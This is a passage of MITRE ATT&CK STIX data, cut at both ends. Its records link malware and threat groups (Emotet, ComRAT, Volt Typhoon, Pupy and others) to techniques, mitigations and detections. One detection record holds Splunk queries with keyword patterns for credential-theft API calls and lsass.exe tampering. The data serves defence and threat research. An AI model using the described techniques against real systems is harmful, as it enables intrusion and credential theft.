and Toro, A. (2017, March 30). Playing Cat & Mouse: Introducing the Felismus Malware. Retrieved November 16, 2017.","url":"https://blogs.forcepoint.com/security-labs/playing-cat-mouse-introducing-felismus-malware"}],"modified":"2020-03-17T01:16:15.819Z","description":"[Felismus](https://attack.mitre.org/software/S0171) uses HTTP for C2.(Citation: Forcepoint Felismus Mar 2017)","relationship_type":"uses","source_ref":"malware--196f1f32-e0c2-4d46-99cd-234d4b6befe1","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4889f7a3-2c36-423a-b48d-c5405e07442f","type":"relationship","created":"2020-03-20T00:08:19.318Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/n1nj4sec/pupy","description":"Nicolas Verdier. (n.d.). Retrieved January 29, 2018.","source_name":"GitHub Pupy"}],"modified":"2020-03-20T00:08:19.318Z","description":"[Pupy](https://attack.mitre.org/software/S0192) can use Lazagne for harvesting credentials.(Citation: GitHub Pupy)","relationship_type":"uses","source_ref":"tool--cb69b20d-56d0-41ab-8440-4a4b251614d4","target_ref":"attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--488fe004-cb37-4e15-a847-99c32b4fd757","created":"2023-03-22T03:33:01.664Z","revoked":false,"external_references":[{"source_name":"CISA ComRAT Oct 2020","description":"CISA. (2020, October 29). Malware Analysis Report (AR20-303A). Retrieved December 9, 2020.","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-303a"},{"source_name":"ESET ComRAT May 2020","description":"Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020.","url":"https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-22T03:33:01.664Z","description":"[ComRAT](https://attack.mitre.org/software/S0126) has used encryption and base64 to obfuscate its orchestrator code in the Registry. [ComRAT](https://attack.mitre.org/software/S0126) has also used encoded PowerShell scripts.(Citation: ESET ComRAT May 2020)(Citation: CISA ComRAT Oct 2020) ","relationship_type":"uses","source_ref":"malware--da5880b4-f7da-4869-85f2-e0aba84b8565","target_ref":"attack-pattern--d511a6f6-4a33-41d5-bc95-c343875d1377","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4893fd0f-c256-4b74-a3d8-aef48794550a","created":"2023-08-03T20:26:27.707Z","revoked":false,"external_references":[{"source_name":"Secureworks BRONZE SILHOUETTE May 2023","description":"Counter Threat Unit Research Team. (2023, May 24). Chinese Cyberespionage Group BRONZE SILHOUETTE Targets U.S. Government and Defense Organizations. Retrieved July 27, 2023.","url":"https://www.secureworks.com/blog/chinese-cyberespionage-group-bronze-silhouette-targets-us-government-and-defense-organizations"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-08-03T20:26:27.707Z","description":"[Volt Typhoon](https://attack.mitre.org/groups/G1017) has copied web shells between servers in targeted environments.(Citation: Secureworks BRONZE SILHOUETTE May 2023)","relationship_type":"uses","source_ref":"intrusion-set--174279b4-399f-4ddb-966e-5efedd1dd5f2","target_ref":"attack-pattern--bf90d72c-c00b-45e3-b3aa-68560560d4c5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4899bf68-d60e-4132-a962-faafd35f0c4a","type":"relationship","created":"2020-08-19T17:34:47.344Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit42 RDAT July 2020","url":"https://unit42.paloaltonetworks.com/oilrig-novel-c2-channel-steganography/","description":"Falcone, R. (2020, July 22). OilRig Targets Middle Eastern Telecommunications Organization and Adds Novel C2 Channel with Steganography to Its Inventory. Retrieved July 28, 2020."}],"modified":"2020-08-19T17:34:47.344Z","description":"[RDAT](https://attack.mitre.org/software/S0495) has masqueraded as VMware.exe.(Citation: Unit42 RDAT July 2020)\t","relationship_type":"uses","source_ref":"malware--4b346d12-7f91-48d2-8f06-b26ffa0d825b","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--489a8a76-4264-462f-be66-217e57d3e907","type":"relationship","created":"2019-02-18T18:17:14.015Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye POSHSPY April 2017","description":"Dunwoody, M.. (2017, April 3). Dissecting One of APT29’s Fileless WMI and PowerShell Backdoors (POSHSPY). Retrieved April 5, 2017.","url":"https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html"}],"modified":"2019-04-24T23:41:40.124Z","description":"[POSHSPY](https://attack.mitre.org/software/S0150) uses a DGA to derive command and control URLs from a word list.(Citation: FireEye POSHSPY April 2017)","relationship_type":"uses","source_ref":"malware--5e595477-2e78-4ce7-ae42-e0b059b17808","target_ref":"attack-pattern--118f61a5-eb3e-4fb6-931f-2096647f4ecd","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--489e5386-b177-455f-a8b3-d3c6e7afb9b1","type":"relationship","created":"2017-05-31T21:33:27.064Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://www.secureworks.com/resources/blog/living-off-the-land/","description":"Dell SecureWorks Counter Threat Unit Special Operations Team. (2015, May 28). Living off the Land. Retrieved January 26, 2016.","source_name":"Dell TG-1314"}],"modified":"2019-03-25T17:01:21.308Z","description":"(Citation: Dell TG-1314)","relationship_type":"uses","source_ref":"intrusion-set--d519164e-f5fa-4b8c-a1fb-cf0172ad0983","target_ref":"tool--03342581-f790-4f03-ba41-e82e67392e23","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--489f5525-51d1-4f03-bcc2-279f017f96d4","type":"relationship","created":"2021-10-13T15:35:20.810Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MSTIC Nobelium Toolset May 2021","url":"https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/","description":"MSTIC. (2021, May 28). Breaking down NOBELIUM’s latest early-stage toolset. Retrieved August 4, 2021."}],"modified":"2021-10-13T15:35:20.810Z","description":"[BoomBox](https://attack.mitre.org/software/S0635) has used HTTP POST requests for C2.(Citation: MSTIC Nobelium Toolset May 2021)","relationship_type":"uses","source_ref":"malware--c26f1c05-b861-4970-94dc-2f7f921a3074","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--48a5b14e-81c8-4629-a846-7c8273bc3963","created":"2023-02-16T18:53:37.802Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Secureworks DarkTortilla Aug 2022","description":"Secureworks Counter Threat Unit Research Team. (2022, August 17). DarkTortilla Malware Analysis. Retrieved November 3, 2022.","url":"https://www.secureworks.com/research/darktortilla-malware-analysis"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-06T22:14:20.390Z","description":"[DarkTortilla](https://attack.mitre.org/software/S1066) can obtain system information by querying the `Win32_ComputerSystem`, `Win32_BIOS`, `Win32_MotherboardDevice`, `Win32_PnPEntity`, and `Win32_DiskDrive` WMI objects.(Citation: Secureworks DarkTortilla Aug 2022)","relationship_type":"uses","source_ref":"malware--5faaf81a-aa5b-4a4b-bae5-522439e068f8","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--48a5f18e-d744-4600-8489-18533cadb0c0","type":"relationship","created":"2019-10-15T21:15:19.857Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019.","url":"https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf","source_name":"ESET Machete July 2019"}],"modified":"2019-10-15T21:15:19.857Z","description":"[Machete](https://attack.mitre.org/software/S0409) collects stored credentials from several web browsers.(Citation: ESET Machete July 2019) ","relationship_type":"uses","source_ref":"malware--35cd1d01-1ede-44d2-b073-a264d727bc04","target_ref":"attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--48a7db34-eee7-4358-918b-0cc802aaec03","created":"2023-09-29T21:07:31.485Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Binary Defense Emotes Wi-Fi Spreader","description":"Binary Defense. (n.d.). Emotet Evolves With new Wi-Fi Spreader. Retrieved September 8, 2023.","url":"https://www.binarydefense.com/resources/blog/emotet-evolves-with-new-wi-fi-spreader/"},{"source_name":"Fortinet Emotet May 2017","description":"Xiaopeng Zhang. (2017, May 3). Deep Analysis of New Emotet Variant – Part 1. Retrieved April 1, 2019.","url":"https://www.fortinet.com/blog/threat-research/deep-analysis-of-new-emotet-variant-part-1.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-09T16:24:41.386Z","description":"[Emotet](https://attack.mitre.org/software/S0367) has used Google’s Protobufs to serialize data sent to and from the C2 server.(Citation: Binary Defense Emotes Wi-Fi Spreader) Additionally, [Emotet](https://attack.mitre.org/software/S0367) has used Base64 to encode data before sending to the C2 server.(Citation: Fortinet Emotet May 2017)","relationship_type":"uses","source_ref":"malware--32066e94-3112-48ca-b9eb-ba2b59d2f023","target_ref":"attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--48aaad9e-bd08-4730-bf58-2c760a113ed4","created":"2023-06-20T18:18:43.185Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023","description":"FBI et al. (2023, May 9). Hunting Russian Intelligence “Snake” Malware. Retrieved June 8, 2023.","url":"https://www.cisa.gov/sites/default/files/2023-05/aa23-129a_snake_malware_2.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-03T14:13:33.477Z","description":"[Uroburos](https://attack.mitre.org/software/S0022) can use implants on multiple compromised machines to proxy communications through its worldwide P2P network.(Citation: Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023)\n","relationship_type":"uses","source_ref":"malware--80a014ba-3fef-4768-990b-37d8bd10d7f4","target_ref":"attack-pattern--a782ebe2-daba-42c7-bc82-e8e9d923162d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--48b51416-fe40-45ba-8bab-5f5a6ef3b35d","type":"relationship","created":"2022-03-30T14:26:51.865Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.865Z","description":"Monitor for unexpected files accessed on removable media.","source_ref":"x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71","target_ref":"attack-pattern--3b744087-9945-4a6f-91e8-9dbceda417a4","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--48b75b8b-5bef-4f99-baa8-5fa978d371d2","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Kaspersky ProjectSauron Full Report","description":"Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Retrieved August 17, 2016.","url":"https://securelist.com/files/2016/07/The-ProjectSauron-APT_research_KL.pdf"},{"source_name":"ComputerWeekly Strider","description":"Warwick Ashford. (2016, August 8). Strider cyber attack group deploying malware for espionage. Retrieved January 10, 2024.","url":"https://www.computerweekly.com/news/450302128/Strider-cyber-attack-group-deploying-malware-for-espionage"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-10T15:10:03.994Z","description":"The [Remsec](https://attack.mitre.org/software/S0125) loader implements itself with the name Security Support Provider, a legitimate Windows function. Various [Remsec](https://attack.mitre.org/software/S0125) .exe files mimic legitimate file names used by Microsoft, Symantec, Kaspersky, Hewlett-Packard, and VMWare. [Remsec](https://attack.mitre.org/software/S0125) also disguised malicious modules using similar filenames as custom network encryption software on victims.(Citation: ComputerWeekly Strider)(Citation: Kaspersky ProjectSauron Full Report)","relationship_type":"uses","source_ref":"malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--48c021af-5bce-4a16-aec1-21970cc59497","type":"relationship","created":"2020-10-20T03:22:48.307Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-04-15T03:27:49.538Z","description":"This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls. Efforts should focus on minimizing the amount and sensitivity of data available to external parties.","relationship_type":"mitigates","source_ref":"course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc","target_ref":"attack-pattern--76551c52-b111-4884-bc47-ff3e728f0156","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--48c34dc3-0c3f-426d-b99a-b72e595da287","created":"2019-09-23T23:14:16.667Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT41 Aug 2019","description":"Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.","url":"https://www.mandiant.com/sites/default/files/2022-02/rt-apt41-dual-operation.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:27:10.514Z","description":"(Citation: FireEye APT41 Aug 2019)","relationship_type":"uses","source_ref":"intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7","target_ref":"tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--48c43e15-210c-491f-9198-928b583470d9","type":"relationship","created":"2021-04-16T19:04:13.566Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MSTIC NOBELIUM Mar 2021","url":"https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/","description":"Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM’s layered persistence. Retrieved March 8, 2021."},{"source_name":"Cybersecurity Advisory SVR TTP May 2021","url":"https://www.ncsc.gov.uk/files/Advisory-further-TTPs-associated-with-SVR-cyber-actors.pdf","description":"NCSC, CISA, FBI, NSA. (2021, May 7). Further TTPs associated with SVR cyber actors. Retrieved July 29, 2021."},{"source_name":"MSTIC NOBELIUM May 2021","url":"https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/","description":"Microsoft Threat Intelligence Center (MSTIC). (2021, May 27). New sophisticated email-based attack from NOBELIUM. Retrieved May 28, 2021."},{"source_name":"MSTIC Nobelium Toolset May 2021","url":"https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/","description":"MSTIC. (2021, May 28). Breaking down NOBELIUM’s latest early-stage toolset. Retrieved August 4, 2021."},{"source_name":"Secureworks IRON RITUAL Profile","url":"https://www.secureworks.com/research/threat-profiles/iron-ritual","description":"Secureworks CTU. (n.d.). IRON RITUAL. Retrieved February 24, 2022."}],"modified":"2022-02-24T20:32:44.642Z","description":"(Citation: MSTIC NOBELIUM Mar 2021)(Citation: Cybersecurity Advisory SVR TTP May 2021)(Citation: MSTIC NOBELIUM May 2021)(Citation: MSTIC Nobelium Toolset May 2021)(Citation: Secureworks IRON RITUAL Profile)","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"malware--5c747acd-47f0-4c5a-b9e5-213541fc01e0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--48c4d56e-e282-4810-b974-6a325b7d130d","type":"relationship","created":"2020-01-17T19:23:15.412Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-07T22:10:56.057Z","description":"Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized administrators can create new Launch Daemons.","relationship_type":"mitigates","source_ref":"course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317","target_ref":"attack-pattern--573ad264-1371-4ae0-8482-d2673b719dba","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--48c785c4-8e40-4044-b10b-c760d25a24ca","created":"2022-03-30T14:26:51.856Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Dell Skeleton","description":"Dell SecureWorks. (2015, January 12). Skeleton Key Malware Analysis. Retrieved April 8, 2019.","url":"https://www.secureworks.com/research/skeleton-key-malware-analysis"},{"source_name":"NPLogonNotify","description":"Microsoft. (2021, October 21). NPLogonNotify function (npapi.h). Retrieved March 30, 2023.","url":"https://learn.microsoft.com/en-us/windows/win32/api/npapi/nf-npapi-nplogonnotify"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-19T15:36:40.568Z","description":"Monitor for calls to OpenProcess that can be used to manipulate lsass.exe running on a domain controller as well as for malicious modifications to functions exported from authentication-related system DLLs (such as cryptdll.dll and samsrv.dll).(Citation: Dell Skeleton)\n\nMonitor for abnormal API calls to `NPLogonNotify()` that may highlight malicious network provider DLLs.(Citation: NPLogonNotify)\n\nAnalytic 1 - Unauthorized API calls to manipulate lsass.exe or abnormal API calls \n\n index=security sourcetype IN (\"Sysmon\", \"WinEventLog:Security\", \"Powershell\", \"linux_audit\", \"macos_secure\")\n(EventCode=4688 OR EventCode=10 OR EventID=4104)\n| eval CommandLine=coalesce(CommandLine, process_command_line, message)\n| eval User=coalesce(User, user, user_name)\n| eval Platform=case(\n sourcetype==\"WinEventLog:Microsoft-Windows-Sysmon/Operational\", \"Windows\",\n sourcetype==\"linux_audit\", \"Linux\",\n sourcetype==\"macos_secure\", \"macOS\",\n true(), \"Unknown\"\n)\n| search CommandLine IN (\"*SetWindowsHookEx*\", \"*LogonUser*\", \"*AuthenticateUser*\", \"*pam_unix*\", \"*pam_exec*\", \"*osascript*\", \"*launchctl*\")\n| eval isSuspicious=if(\n (Platform=\"Windows\" AND (match(CommandLine, \".*SetWindowsHookEx.*|.*LogonUser.*|.*CredWrite.*\"))),\n (Platform=\"Linux\" AND (match(CommandLine, \".*pam_unix.*|.*pam_exec.*\"))),\n (Platform=\"macOS\" AND (match(CommandLine, \".*osascript.*|.*launchctl.*\"))),\n \"Yes\", \"No\"\n)\n| where isSuspicious=\"Yes\"\n| stats count by _time, User, CommandLine, Platform, host\n| where count > 1\n| table _time, User, CommandLine, Platform, host, count\n| sort -count\n\nAnalytic 2 - Unauthorized API calls to manipulate lsass.exe or abnormal API calls to NPLogonNotify().\n\nindex=security_logs source=\"WinEventLog:Security\" \n| eval suspicious_processes=if((process_name=\"lsass.exe\" AND action=\"OpenProcess\") OR (dll_name IN (\"cryptdll.dll\", \"samsrv.dll\") AND (action=\"modify\" OR action=\"load\")) OR (api_call=\"NPLogonNotify\" AND dll_name=\"unknown\")), \"true\", \"false\")\n| search suspicious_processes=\"true\"\n| stats count by host, process_name, dll_name, api_call, user, action\n| where count > 1","relationship_type":"detects","source_ref":"x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e","target_ref":"attack-pattern--f4c1826f-a322-41cd-9557-562100848c84","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--48c9c2f3-9358-4342-88b7-57c8e5df893b","type":"relationship","created":"2021-02-17T20:27:27.420Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"IBM MegaCortex","url":"https://securityintelligence.com/posts/from-mega-to-giga-cross-version-comparison-of-top-megacortex-modifications/","description":"Del Fierro, C. Kessem, L.. (2020, January 8). From Mega to Giga: Cross-Version Comparison of Top MegaCortex Modifications. Retrieved February 15, 2021."}],"modified":"2021-03-31T19:54:46.955Z","description":"[MegaCortex](https://attack.mitre.org/software/S0576) has deleted volume shadow copies using vssadmin.exe.(Citation: IBM MegaCortex)","relationship_type":"uses","source_ref":"malware--909617c3-6d87-4330-8f32-bd3af38c3b92","target_ref":"attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--48cff69b-577c-4837-b894-95b19f255134","created":"2022-09-16T15:56:47.769Z","revoked":false,"external_references":[{"source_name":"ESET Operation Spalax Jan 2021","description":"M. Porolli. (2021, January 21). Operation Spalax: Targeted malware attacks in Colombia. Retrieved September 16, 2022.","url":"https://www.welivesecurity.com/2021/01/12/operation-spalax-targeted-malware-attacks-colombia/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-16T15:56:47.769Z","description":"During [Operation Spalax](https://attack.mitre.org/campaigns/C0005), the threat actors relied on a victim to open a PDF document and click on an embedded malicious link to download malware.(Citation: ESET Operation Spalax Jan 2021) ","relationship_type":"uses","source_ref":"campaign--4c840263-bbda-440d-a22b-674679ddebf1","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--48d24989-916a-46ba-b5ea-b3db838a3ae0","type":"relationship","created":"2022-01-25T15:14:36.378Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Check Point APT35 CharmPower January 2022","url":"https://research.checkpoint.com/2022/apt35-exploits-log4j-vulnerability-to-distribute-new-modular-powershell-toolkit/","description":"Check Point. (2022, January 11). APT35 exploits Log4j vulnerability to distribute new modular PowerShell toolkit. Retrieved January 24, 2022."}],"modified":"2022-01-25T15:14:36.378Z","description":"[CharmPower](https://attack.mitre.org/software/S0674) can exfiltrate gathered data to a hardcoded C2 URL via HTTP POST.(Citation: Check Point APT35 CharmPower January 2022)","relationship_type":"uses","source_ref":"malware--7acb15b6-fe2c-4319-b136-6ab36ff0b2d4","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--48d34942-8001-41d2-ba53-0457c3852541","created":"2023-03-29T15:47:30.064Z","revoked":false,"external_references":[{"source_name":"Lunghi Iron Tiger Linux","description":"Daniel Lunghi. (2023, March 1). Iron Tiger’s SysUpdate Reappears, Adds Linux Targeting. Retrieved March 20, 2023.","url":"https://www.trendmicro.com/en_us/research/23/c/iron-tiger-sysupdate-adds-linux-targeting.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-29T15:47:30.064Z","description":"[SysUpdate](https://attack.mitre.org/software/S0663) can collect information and files from a compromised host.(Citation: Lunghi Iron Tiger Linux)","relationship_type":"uses","source_ref":"malware--c009560a-f097-45a3-8f9f-78ec1440a783","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--48d9c71c-fdb8-4c5f-8d74-542b6bf61e56","type":"relationship","created":"2022-03-30T14:26:51.847Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.847Z","description":"Monitor executed commands and arguments that may steal data by exfiltrating it over a symmetrically encrypted network protocol other than that of the existing command and control channel.","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--79a4052e-1a89-4b09-aea6-51f1d11fe19c","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--48e14644-3ca8-4280-977b-50a6808a707f","created":"2024-08-14T22:26:41.331Z","revoked":false,"external_references":[{"source_name":"PWC Yellow Liderc 2023","description":"PwC Threat Intelligence. (2023, October 25). Yellow Liderc ships its scripts and delivers IMAPLoader malware. Retrieved August 14, 2024.","url":"https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/yellow-liderc-ships-its-scripts-delivers-imaploader-malware.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-14T22:26:41.331Z","description":"[CURIUM](https://attack.mitre.org/groups/G1012) has compromised legitimate websites to enable strategic website compromise attacks.(Citation: PWC Yellow Liderc 